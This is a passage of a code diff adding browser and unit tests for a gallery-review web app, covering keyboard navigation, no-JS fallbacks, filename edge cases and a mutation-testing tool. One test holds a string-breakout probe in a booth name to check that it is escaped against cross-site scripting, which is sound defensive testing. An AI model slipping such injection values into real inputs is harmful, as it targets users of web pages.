with page.expect_navigation(wait_until="networkidle"):
|
||||
page.locator('.film-f[data-rel="m-2-forge-s23.png"]').click()
|
||||
picked = _pair(page)
|
||||
side = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
# the active side lives in the URL: `X` rewrites it in place, so a reload
|
||||
# shows the side that was active, not the default
|
||||
page.keyboard.press("x")
|
||||
page.reload(wait_until="networkidle")
|
||||
reloaded = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
page.close()
|
||||
assert reloaded == "b", reloaded
|
||||
assert not kept["reload"] and kept["side"] == "a", kept
|
||||
assert kept["strip"] == ["m-1-dock-s11.png"] and "side=a" in kept["url"], kept
|
||||
assert picked == ("m-2-forge-s23.png", "r-1-dock-s11.png") and side == "a", (picked, side)
|
||||
|
||||
|
||||
def test_an_encoded_view_state_name_is_still_view_state(browser, live):
|
||||
"""`%73ide=a` IS `side=a` to the server, so the page must treat it as view
|
||||
state too: after X, a reload shows the side X chose, not the stale one
|
||||
the encoded parameter still named (heid bug hunt, hulda)."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png&%73ide=a")
|
||||
first = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
page.keyboard.press("x")
|
||||
page.reload(wait_until="networkidle")
|
||||
after = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
|
||||
page.close()
|
||||
assert (first, after) == ("a", "b"), (first, after)
|
||||
|
||||
|
||||
def test_without_js_every_judgment_and_step_still_works(browser, live):
|
||||
"""INV-4. Scripts off: the pair renders in two Fit stages, the step and
|
||||
strip links navigate, both flag forms are there and a flag lands back on
|
||||
the same pair. Nothing judgment-bearing hides behind a script."""
|
||||
from booth.marks import marks_for
|
||||
base, root = live
|
||||
b = _bakeoff(root)
|
||||
ctx = browser.new_context(java_script_enabled=False, viewport={"width": 1440, "height": 900})
|
||||
page = ctx.new_page()
|
||||
page.goto(f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png", wait_until="networkidle")
|
||||
fit = page.evaluate("""() => document.documentElement.classList.contains('stage-one') ||
|
||||
[...document.querySelectorAll('.cmp-side .vstage img')].some(i =>
|
||||
Math.round(i.getBoundingClientRect().width) === i.naturalWidth)""")
|
||||
hidden = [page.locator(s).is_visible() for s in ("#cmp-link", "#vtoggle")]
|
||||
forms = page.locator(".cmp-flag form").count()
|
||||
page.locator('a[data-step="both-next"]').click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
both = _pair(page)
|
||||
page.locator('a[data-step="a-prev"]').click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
a_back = _pair(page)
|
||||
page.locator('.film-f[data-rel="m-4-tower-s42.png"]').click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
strip = _pair(page)
|
||||
page.locator("#cmp-flag-b").click()
|
||||
page.wait_for_load_state("networkidle")
|
||||
landed = _pair(page)
|
||||
shows = page.locator("#cmp-flag-b").get_attribute("class")
|
||||
ctx.close()
|
||||
assert fit is False and hidden == [False, False] and forms == 2, (fit, hidden, forms)
|
||||
assert both == ("m-2-forge-s23.png", "r-2-forge-s23.png"), both
|
||||
assert a_back == ("m-1-dock-s11.png", "r-2-forge-s23.png"), a_back
|
||||
assert strip == ("m-1-dock-s11.png", "m-4-tower-s42.png"), strip
|
||||
assert landed == strip and "is-flagged" in shows, (landed, shows)
|
||||
assert [m.target for m in marks_for(b) if m.shape == "flag"] == ["m-4-tower-s42.png"]
|
||||
|
||||
|
||||
def test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view(browser, live):
|
||||
"""C3: a held modifier makes every key inert; Space on a focused control
|
||||
presses it and never steps, and from nowhere in particular it steps
|
||||
(Shift+Space back). `C` in the review opens compare against the next
|
||||
item; `Esc` (or `C`) in compare returns to the review of A."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
v = _pics(root, {"a.png": (400, 300)}, name="v")
|
||||
(v / "b.webm").write_bytes(b"\x1aE\xdf\xa3")
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-2-forge-s23.png&b=r-2-forge-s23.png")
|
||||
start = page.url
|
||||
for key in ("Control+ArrowRight", "Alt+ArrowRight", "Meta+ArrowRight", "Control+x", "Alt+l"):
|
||||
page.keyboard.press(key)
|
||||
page.wait_for_timeout(300)
|
||||
inert = (page.url == start,
|
||||
page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side"),
|
||||
page.locator("#cmp-link").get_attribute("aria-pressed"))
|
||||
page.locator("#cmp-link").focus()
|
||||
page.keyboard.press(" ")
|
||||
page.wait_for_timeout(300)
|
||||
pressed = (page.url.split("?")[1], page.locator("#cmp-link").get_attribute("aria-pressed"))
|
||||
page.locator("#cmp-link").press(" ") # linked again
|
||||
page.evaluate("document.activeElement.blur()")
|
||||
# ...and never from a player on either stage: Space is the player's
|
||||
page.goto(f"{base}/b/v/compare?a=a.png&b=b.webm", wait_until="networkidle")
|
||||
page.locator(".cmp-media").focus()
|
||||
page.keyboard.press(" ")
|
||||
page.wait_for_timeout(300)
|
||||
player = page.url.endswith("/b/v/compare?a=a.png&b=b.webm")
|
||||
page.goto(start, wait_until="networkidle")
|
||||
_press_and_wait(page, " ")
|
||||
fwd = _pair(page)
|
||||
_press_and_wait(page, "Shift+ ")
|
||||
back = _pair(page)
|
||||
_press_and_wait(page, "Escape")
|
||||
esc = page.url
|
||||
_press_and_wait(page, "c")
|
||||
c_review = _pair(page)
|
||||
_press_and_wait(page, "C")
|
||||
c_back = page.url
|
||||
page.close()
|
||||
assert inert == (True, "b", "true"), inert
|
||||
assert player, "Space on a focused player stepped the pair"
|
||||
assert pressed == ("a=m-2-forge-s23.png&b=r-2-forge-s23.png&link=0", "false"), pressed
|
||||
assert fwd == ("m-3-marsh-s37.png", "r-3-marsh-s37.png") and back == ("m-2-forge-s23.png", "r-2-forge-s23.png"), (fwd, back)
|
||||
assert esc.endswith("/b/g/view?f=m-2-forge-s23.png"), esc
|
||||
assert c_review == ("m-2-forge-s23.png", "m-3-marsh-s37.png"), c_review
|
||||
assert c_back.endswith("/b/g/view?f=m-2-forge-s23.png"), c_back
|
||||
+136
-3
@@ -31,11 +31,22 @@ playwright_api = pytest.importorskip(
|
||||
)
|
||||
|
||||
|
||||
# NO INTERNET for the test browser. Every Booth page asks fonts.googleapis.com
|
||||
# for its faces, and "networkidle" waits for that request — so a stalled request
|
||||
# to Google hung the page until goto's 30s timeout, the failure mode of the
|
||||
# full-suite flake (Page.goto timeouts in tests far apart in one run; a stalled
|
||||
# font request reproduces it exactly). Whether that was THE cause is unproven;
|
||||
# a test that depends on Google being reachable is wrong regardless. Every
|
||||
# hostname but 127.0.0.1 now fails DNS at once, and the pages fall back to the
|
||||
# system stacks the tokens declare. Positive control: test_*_has_no_internet.
|
||||
OFFLINE = ["--host-resolver-rules=MAP * ~NOTFOUND , EXCLUDE 127.0.0.1"]
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def browser():
|
||||
with playwright_api.sync_playwright() as pw:
|
||||
try:
|
||||
b = pw.chromium.launch()
|
||||
b = pw.chromium.launch(args=OFFLINE)
|
||||
except Exception as exc: # noqa: BLE001 - any launch failure is a skip
|
||||
pytest.skip(f"no usable chromium: {exc}")
|
||||
yield b
|
||||
@@ -50,12 +61,25 @@ def live(tmp_path):
|
||||
sock = socket.socket()
|
||||
sock.bind(("127.0.0.1", 0))
|
||||
port = sock.getsockname()[1]
|
||||
sock.close()
|
||||
# ⚠ THE SOCKET IS HANDED TO UVICORN STILL BOUND, never closed and
|
||||
# re-opened by port number. The old form did bind -> getsockname -> CLOSE ->
|
||||
# tell uvicorn the number, which leaves a window where the kernel can give
|
||||
# that port to somebody else — and this suite runs TWO browser files that
|
||||
# each start a server per test, so the other one is right there competing
|
||||
# for it. Passing the live socket removes the window rather than narrowing
|
||||
# it.
|
||||
#
|
||||
# Honest about the evidence: two different browser tests failed once each
|
||||
# across full-suite runs while passing 3/3 and 5/5 on their own, which is
|
||||
# the signature of contention. We cannot prove from two samples that this
|
||||
# race was the cause. It is a real defect either way, and it is the only
|
||||
# one visible in the harness.
|
||||
|
||||
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
config = uvicorn.Config(app, host="127.0.0.1", port=port, log_level="error")
|
||||
server = uvicorn.Server(config)
|
||||
thread = threading.Thread(target=server.run, daemon=True)
|
||||
thread = threading.Thread(target=lambda: server.run(sockets=[sock]), daemon=True)
|
||||
thread.start()
|
||||
deadline = time.time() + 10
|
||||
while not server.started and time.time() < deadline:
|
||||
@@ -69,6 +93,7 @@ def live(tmp_path):
|
||||
thread.join(timeout=10)
|
||||
|
||||
|
||||
PNG = b"\x89PNG\r\n\x1a\n"
|
||||
SEAM = '<script src="/_booth/embed.js" defer></script>'
|
||||
|
||||
|
||||
@@ -537,3 +562,111 @@ def test_the_chip_follows_a_payload_that_disagrees_with_the_fragments(browser, l
|
||||
page.wait_for_selector(".booth-nav-asks")
|
||||
assert page.locator(".booth-nav-asks").inner_text() == "? 2 open asks"
|
||||
page.close()
|
||||
|
||||
|
||||
# --- the grid keyboard, which is the OTHER thing no string assertion sees ----
|
||||
# Added 2026-09-22 after the heid bug-hunt panel found a defect whose entire
|
||||
# expression is viewport geometry: a group jump moves the scroll position, the
|
||||
# keyboard cursor does not know, and the next arrow key scrolls back.
|
||||
|
||||
|
||||
def _gallery(root, name="g"):
|
||||
"""Enough tiles that the grid must scroll, in two groups."""
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for i in range(1, 13):
|
||||
(b / f"aa{i:02d}.png").write_bytes(PNG)
|
||||
for i in range(1, 13):
|
||||
(b / f"zz{i:02d}.png").write_bytes(PNG)
|
||||
return b
|
||||
|
||||
|
||||
def test_an_arrow_after_a_group_jump_does_not_scroll_back(browser, live):
|
||||
"""GRÓA's solo. The jump scrolled the viewport but left the cursor at -1,
|
||||
so the next ArrowRight focused tile 0 and `scrollIntoView` yanked the page
|
||||
back to the top — silently reversing the jump the operator just made.
|
||||
|
||||
The whole failure is geometry, so it is asserted on geometry: scroll
|
||||
position after the arrow must stay near where the jump landed, not return
|
||||
to the top. Defeating change: `focus(at + 1)` with `at` starting at -1."""
|
||||
base, root = live
|
||||
_gallery(root)
|
||||
page = browser.new_page()
|
||||
page.set_viewport_size({"width": 900, "height": 600})
|
||||
page.goto(f"{base}/b/g/", wait_until="networkidle")
|
||||
|
||||
page.click('.rail-g[data-group="zz"]')
|
||||
page.wait_for_timeout(250)
|
||||
after_jump = page.evaluate("window.scrollY")
|
||||
assert after_jump > 0, "the group jump did not scroll at all"
|
||||
|
||||
page.keyboard.press("ArrowRight")
|
||||
page.wait_for_timeout(250)
|
||||
after_key = page.evaluate("window.scrollY")
|
||||
page.close()
|
||||
|
||||
assert after_key > after_jump / 2, (
|
||||
f"the arrow key undid the jump: scrollY {after_jump} -> {after_key}"
|
||||
)
|
||||
|
||||
|
||||
def test_the_keyboard_flag_actually_submits(browser, live):
|
||||
"""HULDA's solo. `f` selected `.flagbtn, [name="target"]`; nothing in this
|
||||
repo emits `.flagbtn`, so it clicked the HIDDEN target input — and clicking
|
||||
a hidden input does not submit its form. The shortcut never worked while
|
||||
still swallowing the keystroke.
|
||||
|
||||
Asserted end to end: press f, and the flag must come back from the server.
|
||||
|
||||
R2 C3 (docs/contracts/r2_flow.contract.md, "Assertions that change"): this
|
||||
used to expect a NAVIGATION — the flag form POSTed, 303'd and reloaded. That
|
||||
was the no-JS design working, not a defect, and it still is with scripts
|
||||
off (tests/golden/r2_mark_303.json replays those responses byte for byte).
|
||||
What changed is that WITH JS ON the flag now applies in place. The claim
|
||||
that matters is kept and tightened: the flag must come back from the SERVER
|
||||
(the swapped tile is server-rendered), and a marker set on the window before
|
||||
the keypress must survive, which a reload would wipe."""
|
||||
base, root = live
|
||||
_gallery(root)
|
||||
page = browser.new_page()
|
||||
page.goto(f"{base}/b/g/", wait_until="networkidle")
|
||||
page.evaluate("window.__noReload = 1")
|
||||
|
||||
page.keyboard.press("ArrowRight")
|
||||
# ⚠ WAIT FOR THE CURSOR TO LAND BEFORE PRESSING `f`. Firing both keys
|
||||
# back to back assumed the first had finished, and `focus()` does a
|
||||
# `scrollIntoView` — so under full-suite load `f` could arrive with no
|
||||
# cursor set and flag nothing. It failed once in roughly five whole-suite
|
||||
# runs while passing 3/3 on its own, which is the signature of a race
|
||||
# rather than a defect, and a test that goes red one time in five trains
|
||||
# people to ignore red.
|
||||
page.wait_for_selector("figure.item.is-cursor", timeout=10000)
|
||||
page.keyboard.press("f")
|
||||
page.wait_for_selector("figure.item.is-flagged", timeout=10000)
|
||||
flagged = page.locator("figure.item.is-flagged").count()
|
||||
survived = page.evaluate("window.__noReload === 1")
|
||||
page.close()
|
||||
|
||||
assert flagged == 1, f"the f key flagged {flagged} items, expected 1"
|
||||
assert survived, "the flag reloaded the page; in-place judgment must not"
|
||||
|
||||
|
||||
def test_the_test_browser_has_no_internet(browser, live):
|
||||
"""Positive control for OFFLINE (booth-dev's ask: see the fix in force,
|
||||
don't assume it). An external host fails at once, and a Booth page — whose
|
||||
fonts are external — still goes idle in well under the goto timeout."""
|
||||
base, root = live
|
||||
(root / "g").mkdir()
|
||||
page = browser.new_page()
|
||||
t = time.time()
|
||||
with pytest.raises(Exception) as err:
|
||||
page.goto("https://fonts.googleapis.com/css2?family=IBM+Plex+Sans", timeout=10000)
|
||||
external = time.time() - t
|
||||
page.close()
|
||||
page = browser.new_page()
|
||||
t = time.time()
|
||||
page.goto(f"{base}/b/g/", wait_until="networkidle")
|
||||
local = time.time() - t
|
||||
page.close()
|
||||
assert "ERR_NAME_NOT_RESOLVED" in str(err.value) and external < 3, (str(err.value)[:80], external)
|
||||
assert local < 10, local
|
||||
|
||||
+1195
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -13,6 +13,7 @@ from fastapi.testclient import TestClient
|
||||
|
||||
from booth.app import build_gallery, create_app, list_booths
|
||||
from booth.items import (
|
||||
CAPTION_MAX,
|
||||
Item,
|
||||
booth_items,
|
||||
find_item,
|
||||
@@ -316,3 +317,92 @@ def test_booth_items_carries_the_group(tmp_path):
|
||||
_touch(b / "99.png")
|
||||
got = {it.rel: it.group for it in booth_items(b)}
|
||||
assert got == {"ac01.png": "ac", "ac02.png": "ac", "99.png": None}
|
||||
|
||||
|
||||
def test_one_unrepresentable_filename_costs_its_own_tile_not_the_booth(tmp_path):
|
||||
"""HULDA, and it is worse than the bundle could see: `quote()` raises
|
||||
UnicodeEncodeError on a surrogate from a non-UTF-8 filename, and
|
||||
`booth_items` feeds `list_booths` — so ONE 0xff byte in ONE booth's
|
||||
filename took out the INDEX for every booth, not just its own page.
|
||||
|
||||
The repo's standing posture is that a damaged file costs its own tile and
|
||||
never the page. A file whose name cannot be percent-encoded cannot be
|
||||
linked or served either, so it cannot be an item.
|
||||
|
||||
Defeating change: dropping the guard — this raises before it renders."""
|
||||
import os
|
||||
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / "ok.png").write_bytes(b"\x89PNG")
|
||||
(b / os.fsdecode(b"bad\xff.png")).write_bytes(b"\x89PNG")
|
||||
|
||||
got = booth_items(b)
|
||||
assert [it.rel for it in got] == ["ok.png"]
|
||||
|
||||
|
||||
|
||||
def test_a_folder_that_lists_but_cannot_be_searched_costs_its_files_not_the_index(tmp_path):
|
||||
"""Found folding R2's bug-hunt: `Path.is_file()` swallows a missing entry
|
||||
but PROPAGATES EACCES. A directory with read and no execute permission
|
||||
lists its names, and every stat under it raises — so one such folder in
|
||||
one booth took out the index for every booth, the same blast radius as the
|
||||
unrepresentable filename above. Its files are not items.
|
||||
|
||||
Defeating change: calling `is_file()` outside the OSError guard."""
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / "ok.png").write_bytes(b"\x89PNG")
|
||||
sub = b / "d"
|
||||
sub.mkdir()
|
||||
(sub / "x.png").write_bytes(b"\x89PNG")
|
||||
sub.chmod(0o644) # r--: listable, nothing inside stat-able
|
||||
try:
|
||||
with pytest.raises(PermissionError):
|
||||
(sub / "x.png").stat() # the fixture is live, not assumed
|
||||
assert [it.rel for it in booth_items(b)] == ["ok.png"]
|
||||
[row] = list_booths(tmp_path, ttl_seconds=86400)
|
||||
assert row["name"] == "b" and row["count"] == 1
|
||||
finally:
|
||||
sub.chmod(0o755)
|
||||
|
||||
def test_a_huge_caption_sidecar_is_not_read_whole(tmp_path):
|
||||
"""HULDA: `read_text()` pulled the entire sidecar into memory before
|
||||
`[:CAPTION_MAX]` trimmed it, and the handler catches only OSError — so a
|
||||
pathological sidecar is a MemoryError, not a missing caption.
|
||||
|
||||
Bounded at the READ. Deliberately NOT bounded by st_size: a FIFO reports
|
||||
st_size 0 and a bound that trusts it inherits what it does not mean —
|
||||
persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md."""
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / "a.png").write_bytes(b"\x89PNG")
|
||||
(b / "a.txt").write_text("x" * (CAPTION_MAX * 50))
|
||||
|
||||
cap = {it.rel: it.caption for it in booth_items(b)}["a.png"]
|
||||
assert cap is not None and len(cap) <= CAPTION_MAX
|
||||
|
||||
|
||||
def test_a_dot_directory_hides_its_whole_subtree(tmp_path):
|
||||
"""CLAUDE.md invariant 2 claims a dotfile costs nothing in item counts,
|
||||
galleries or zips. That was only true at the TOP LEVEL: both `booth_items`
|
||||
and `zip_booth` tested the FILE's name, so `.thumbs/a.png` has `p.name ==
|
||||
"a.png"` and sailed through as a gallery item and a zip entry.
|
||||
|
||||
Pre-existing, found while adding a `.thumbs/` cache. Any path component
|
||||
starting with a dot is the Booth's own namespace.
|
||||
|
||||
Defeating change: back to `p.name.startswith(".")`."""
|
||||
import io
|
||||
import zipfile
|
||||
|
||||
from booth.app import zip_booth
|
||||
|
||||
b = tmp_path / "b"
|
||||
(b / ".thumbs").mkdir(parents=True)
|
||||
(b / "real.png").write_bytes(b"\x89PNG")
|
||||
(b / ".thumbs" / "real.png").write_bytes(b"\x89PNGthumb")
|
||||
(b / ".marks.json").write_text("{}")
|
||||
|
||||
assert [i.rel for i in booth_items(b)] == ["real.png"]
|
||||
assert zipfile.ZipFile(io.BytesIO(zip_booth(b))).namelist() == ["real.png"]
|
||||
|
||||
@@ -1096,3 +1096,42 @@ def test_a_booth_name_cannot_reach_a_js_string_context(client):
|
||||
|
||||
assert 'data-confirm="wipe"' in html, "the name travels as data, where escaping is escaping"
|
||||
assert ">'+xssCanary7+'<" in html, "and still renders as the name it is"
|
||||
|
||||
|
||||
def test_generating_a_thumbnail_does_not_age_a_booth(tmp_path):
|
||||
"""⚠ A VIEW-DRIVEN WRITE MUST NOT RESET THE EXPIRY CLOCK, and the thumbnail
|
||||
cache is the first thing in this repo that writes without the operator
|
||||
doing anything.
|
||||
|
||||
`.viewed` counts as activity ON PURPOSE — U4's "viewing is activity" — but
|
||||
that is a DELIBERATE look. A derived cache is machinery, exactly like the
|
||||
`.lock` sidecars already excluded here, and it is written by the SERVER.
|
||||
|
||||
The failure this prevents is not small. Once the Desk's preview strip pulls
|
||||
a thumbnail for every booth, loading the index would touch every booth's
|
||||
cache and push every expiry out — the TTL would never fire again and
|
||||
nothing would ever sweep. Caught by design-dev before the strip landed;
|
||||
the bug was already live for the gallery.
|
||||
|
||||
Defeating change: dropping the THUMB_DIR arm of the exclusion."""
|
||||
import os
|
||||
import time
|
||||
|
||||
from booth.app import _newest_mtime
|
||||
from booth.thumbs import ensure_thumb
|
||||
|
||||
pytest.importorskip("PIL.Image")
|
||||
from PIL import Image
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
Image.new("RGB", (1024, 1024), (9, 9, 9)).save(b / "a.png")
|
||||
old = time.time() - 86400 * 3
|
||||
for p in b.rglob("*"):
|
||||
os.utime(p, (old, old))
|
||||
os.utime(b, (old, old))
|
||||
|
||||
before = _newest_mtime(b)
|
||||
assert ensure_thumb(b, "a.png") is not None, "nothing was generated to test"
|
||||
assert _newest_mtime(b) == pytest.approx(before, abs=2), \
|
||||
"generating a thumbnail reset the booth's expiry clock"
|
||||
|
||||
+1
-1
@@ -278,7 +278,7 @@ def test_as_dict_round_trips_through_json(tmp_path):
|
||||
# ---- the stdlib-only invariant (INV-5) --------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.parametrize("module", ["marks", "asks", "links", "manifest", "benches", "__init__"])
|
||||
@pytest.mark.parametrize("module", ["marks", "asks", "links", "manifest", "benches", "blur", "__init__"])
|
||||
def test_stdlib_only(module):
|
||||
"""INV-5. scripts/booth imports these under the system python3 with NO venv,
|
||||
through a `python3 -c` heredoc that no AST extractor can see — so nothing
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
"""Controls for the instrument that certifies every other falsifier.
|
||||
|
||||
`scripts/mutation_check.py` exists because a green test proves nothing until it
|
||||
has seen the change it forbids. The same sentence applies to the tool: it
|
||||
shipped two defects in one session, each of which made it report a falsifier
|
||||
PROVED WITHOUT RUNNING IT (no green baseline; the pyc cache silently reverting
|
||||
byte-identical mutations). Both were found by accident.
|
||||
|
||||
So the tool gets what CLAUDE.md demands of any measurement: a POSITIVE CONTROL
|
||||
it must detect, and a NEGATIVE CONTROL it must not fire on. An instrument that
|
||||
only ever sees unknowns cannot distinguish "absent" from "blind".
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent / "scripts"))
|
||||
|
||||
from mutation_check import check # noqa: E402
|
||||
|
||||
|
||||
def _tree(tmp_path, source: str, test_body: str):
|
||||
"""A throwaway repo: one module, one test file, both real on disk."""
|
||||
(tmp_path / "mod.py").write_text(source)
|
||||
(tmp_path / "test_probe.py").write_text(
|
||||
"import sys, pathlib\n"
|
||||
"sys.path.insert(0, str(pathlib.Path(__file__).parent))\n"
|
||||
"from mod import f\n\n" + test_body
|
||||
)
|
||||
return tmp_path
|
||||
|
||||
|
||||
def test_a_real_falsifier_is_reported_proved(tmp_path):
|
||||
"""NEGATIVE CONTROL — the tool must not cry wolf on a sound test.
|
||||
|
||||
`f` returns 2; the test asserts it. Flipping the constant must go red, and
|
||||
the tool must say so."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
proved, note = check(
|
||||
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert proved, note
|
||||
|
||||
|
||||
def test_a_vacuous_falsifier_is_caught(tmp_path):
|
||||
"""POSITIVE CONTROL — the one that matters, and the one usually skipped.
|
||||
|
||||
The test asserts only that `f()` is an int, so flipping the constant does
|
||||
NOT break it. The test cites the behaviour without forbidding it. The tool
|
||||
must report NOT PROVED; if it cannot detect a known-vacuous falsifier, its
|
||||
twelve `proved` lines are worth nothing."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert isinstance(f(), int)\n")
|
||||
proved, note = check(
|
||||
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert not proved
|
||||
assert "VACUOUS" in note
|
||||
|
||||
|
||||
def test_an_already_red_test_is_a_harness_failure_not_a_proof(tmp_path):
|
||||
"""DEFECT 1, as a control. Before the baseline check this returned PROVED —
|
||||
a broken assertion reading as a certified falsifier."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 99\n")
|
||||
proved, note = check(
|
||||
{"label": "flip the constant", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert not proved
|
||||
assert "BASELINE RED" in note
|
||||
|
||||
|
||||
def test_a_same_size_mutation_is_not_swallowed_by_the_bytecode_cache(tmp_path):
|
||||
"""DEFECT 2, as a control. `< 2` -> `< 1` is byte-identical in size, so a
|
||||
mutation landing in the same mtime second as the revert before it used to
|
||||
run against cached bytecode and report PROVED having tested nothing.
|
||||
|
||||
Run twice: the verdict must be stable. The original defect's tell was
|
||||
exactly a verdict that flipped between consecutive identical runs."""
|
||||
repo = _tree(tmp_path, "def f(n):\n return n < 2\n",
|
||||
"def test_f():\n assert f(1) is True and f(2) is False\n")
|
||||
m = {"label": "off by one", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return n < 2", "new": "return n < 1"}
|
||||
assert [check(m, repo=repo)[0] for _ in range(2)] == [True, True]
|
||||
|
||||
|
||||
def test_a_drifted_anchor_is_reported_not_skipped(tmp_path):
|
||||
"""A table whose `old` no longer matches the source stops proving anything.
|
||||
Silently skipping it would shrink the denominator and keep the run green."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
proved, note = check(
|
||||
{"label": "stale", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2222", "new": "return 3"}, repo=repo)
|
||||
assert not proved
|
||||
assert "anchor not found" in note
|
||||
|
||||
|
||||
def test_the_source_is_restored_even_when_the_mutation_proves(tmp_path):
|
||||
"""The tool writes to tracked source files. Leaving one mutated would put a
|
||||
defect in the tree that looks like authored code."""
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
before = (repo / "mod.py").read_text()
|
||||
check({"label": "flip", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert (repo / "mod.py").read_text() == before
|
||||
|
||||
|
||||
def test_a_reverted_file_keeps_its_mtime(tmp_path):
|
||||
"""The repo IS its own deployment root: nothing takes effect until the
|
||||
service restarts, so "is :8090 stale?" is answered by comparing the
|
||||
service's start time against source mtimes. A tool that rewrites a file
|
||||
with identical bytes still bumps its mtime and makes that check lie — it
|
||||
reported the live service 16 minutes stale when it was current.
|
||||
|
||||
Defeating change: dropping the os.utime in the restore."""
|
||||
import os
|
||||
|
||||
repo = _tree(tmp_path, "def f():\n return 2\n",
|
||||
"def test_f():\n assert f() == 2\n")
|
||||
mod = repo / "mod.py"
|
||||
os.utime(mod, (1_000_000_000, 1_000_000_000))
|
||||
before = mod.stat().st_mtime_ns
|
||||
check({"label": "flip", "file": "mod.py", "test": "test_probe.py::test_f",
|
||||
"old": "return 2", "new": "return 3"}, repo=repo)
|
||||
assert mod.stat().st_mtime_ns == before
|
||||
@@ -402,3 +402,150 @@ def test_a_group_key_is_never_the_empty_string(tmp_path):
|
||||
body = c.get("/b/g/").text
|
||||
assert 'data-group=""' not in body
|
||||
assert "" not in _groups(body)
|
||||
|
||||
|
||||
# --- from the heid bug-hunt panel, 2026-09-22 -----------------------------
|
||||
# 4-of-4 convergence on the anchor, two strong solos from Gróa, and three of
|
||||
# this file's own falsifiers shown vacuous by the arms' guard-strength passes.
|
||||
|
||||
|
||||
def test_a_group_anchor_survives_a_filename_that_percent_decodes(tmp_path):
|
||||
"""THE 4-OF-4 FINDING. The anchor was the RAW rel spliced into an href
|
||||
fragment with no percent-encoding, while the tile id was equally raw.
|
||||
|
||||
A browser matches a fragment against ids RAW FIRST, then percent-decoded —
|
||||
so the failure is not "goes nowhere", it is worse: with both `a b.png` and
|
||||
`a%20b.png` in one booth, the first's href resolves to the fragment
|
||||
`item-a%20b.png` and the raw pass matches the SECOND file's id. The jump
|
||||
lands on the wrong artifact, which is the misfiled-judgment failure
|
||||
invariant 6 exists to prevent, arriving through a path invariant 6 never
|
||||
looked at.
|
||||
|
||||
Both sides now use the already-percent-encoded `Item.url`, which is
|
||||
injective (`a b` -> `a%20b`, `a%20b` -> `a%2520b`) and is the convention
|
||||
`booth_flag` has always used. Defeating change: building either side from
|
||||
`name`."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("a b-1.png", "a b-2.png", "a%20b-1.png", "a%20b-2.png"):
|
||||
(b / n).write_bytes(PNG)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
body = c.get("/b/g/").text
|
||||
|
||||
import re
|
||||
hrefs = re.findall(r'class="rail-g"[^>]*href="#([^"]+)"', body, re.S)
|
||||
assert len(hrefs) == 2, f"expected two groups, got {hrefs}"
|
||||
# Every anchor names an id that exists AND no two anchors collide.
|
||||
assert len(set(hrefs)) == len(hrefs), f"two groups share one anchor: {hrefs}"
|
||||
for h in hrefs:
|
||||
assert f'id="{h}"' in body, f"anchor #{h} names no element"
|
||||
# and the raw form must NOT appear as an id, or the raw-first match steals it
|
||||
assert 'id="item-a b-1.png"' not in body
|
||||
|
||||
|
||||
def test_a_group_anchor_names_the_FIRST_member(grouped):
|
||||
"""GRÓA + HULDA + REGIN all found the same hole independently: the original
|
||||
anchor test only checked the href occurred as SOME id on the page, so a
|
||||
`v[0]` -> `v[-1]` mutation survived it completely. Three arms, one gap,
|
||||
and my own mutation table had no row for it — the fifth vacuous falsifier
|
||||
of the day.
|
||||
|
||||
`a/x1.png` and `b/x2.png` are group x; the anchor must be the first."""
|
||||
import re
|
||||
c, _ = grouped
|
||||
body = c.get("/b/g/").text
|
||||
got = dict(re.findall(r'class="rail-g" data-group="([^"]+)"\s*\n?\s*href="#item-([^"]+)"', body))
|
||||
